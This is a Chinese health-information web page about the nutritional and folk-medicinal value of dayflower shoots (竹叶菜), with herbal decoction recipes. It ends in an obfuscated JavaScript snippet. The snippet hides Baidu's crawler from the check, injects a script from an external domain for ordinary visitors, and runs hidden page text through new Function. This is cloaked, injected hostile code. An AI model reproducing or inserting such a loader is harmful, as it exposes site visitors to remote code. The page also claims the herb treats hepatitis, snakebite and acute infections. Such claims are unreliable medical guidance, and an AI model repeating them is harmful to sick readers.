当前位置:首页 > 饮食 > 食物营养 > 正文

竹叶菜的营养价值有哪些呢

2017-07-12 14:11:24  来源:360常识网   热度:
导语:竹叶菜是属于鸭跖草科的一种植物,是鸭跖草里的嫩茎叶。它的茎斜是向上生长,叶片如同针形,并且有绿色脉形,与竹子有相似之处,所以常被人

竹叶菜是属于鸭跖草科的一种植物,是鸭跖草里的嫩茎叶。它的茎斜是向上生长,叶片如同针形,并且有绿色脉形,与竹子有相似之处,所以常被人们称做为竹业菜。它分布在全国各地,许多市场上都会见到这种菜。人们会用它来直接炒吃或是做成汤。那么具体竹叶菜的营养价值有哪些呢,相信多数人并不是很了解。接下来我们就来一起了解下吧。

竹叶菜营养分析:

竹叶草含有花青素类 、粘液质、淀粉等成分,具有清凉解热解毒,强心利尿的作用,适用于急性热病,高热烦渴,咽喉炎肿,上呼吸道及尿路感染等急性炎症。

竹叶菜适合人群

一般人群均可食用。

1. 适宜急性热病,高热烦渴,咽喉炎肿,上呼吸道及尿路感染等急性炎症等患者。

2. 但脾胃虚弱者少食。

竹叶菜食疗作用:

鸭跖草性味、苦寒、无毒;

有清热解毒、利水消肿、凉血的功效;

可治小便不通、淋沥作痛、水肿、脚气、感冒、丹毒、腮腺炎、黄疸肝炎、热痢、鼻衄、尿血、血崩、咽喉肿痛、赤痢、疔疮肿毒、蛇咬伤等症。

竹叶菜做法指导:

1. 上呼吸道感染,咽喉、扁桃体炎,鲜竹叶菜全草洗净捣烂绞汁,每服1酒杯以温水冲服,一同2~3次。或用全草60~90克,水煎服亦可。

2. 流行性感冒,高热烦渴,或原因不明的高热。竹叶菜30-60克,淡竹叶30克,水煎,一日2~3次分服。

3. 急性膀恍炎,小便频急,竹叶菜30克,车前草30克,甘草9克,水煎去渣,一日2~3次分服。

4. 急性风湿热,尿酸性病风,间节红肿疼痛,竹叶菜60克,白毛夏枯草30克,水煎服 (取鲜草捣烂绞汁服用更佳)。

5. 痈疖疔疮,无名肿毒。鲜竹叶菜、鲜乌鼓霉等量,加食盐少许捣烂,敷贴患部,一日更换2次,以痛止肿消为度。

通过以上对于竹叶菜的营养价值的祥细介绍。我们可以了解到,竹叶菜是具有清热解毒和利水消肿,以及凉血的作用。同时竹叶菜对于人们患上感冒等疾病时,同样也会有辅助治疗的效果。并且竹叶菜还有治疗痈疖疔疮等外部皮肤疾病的功效。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}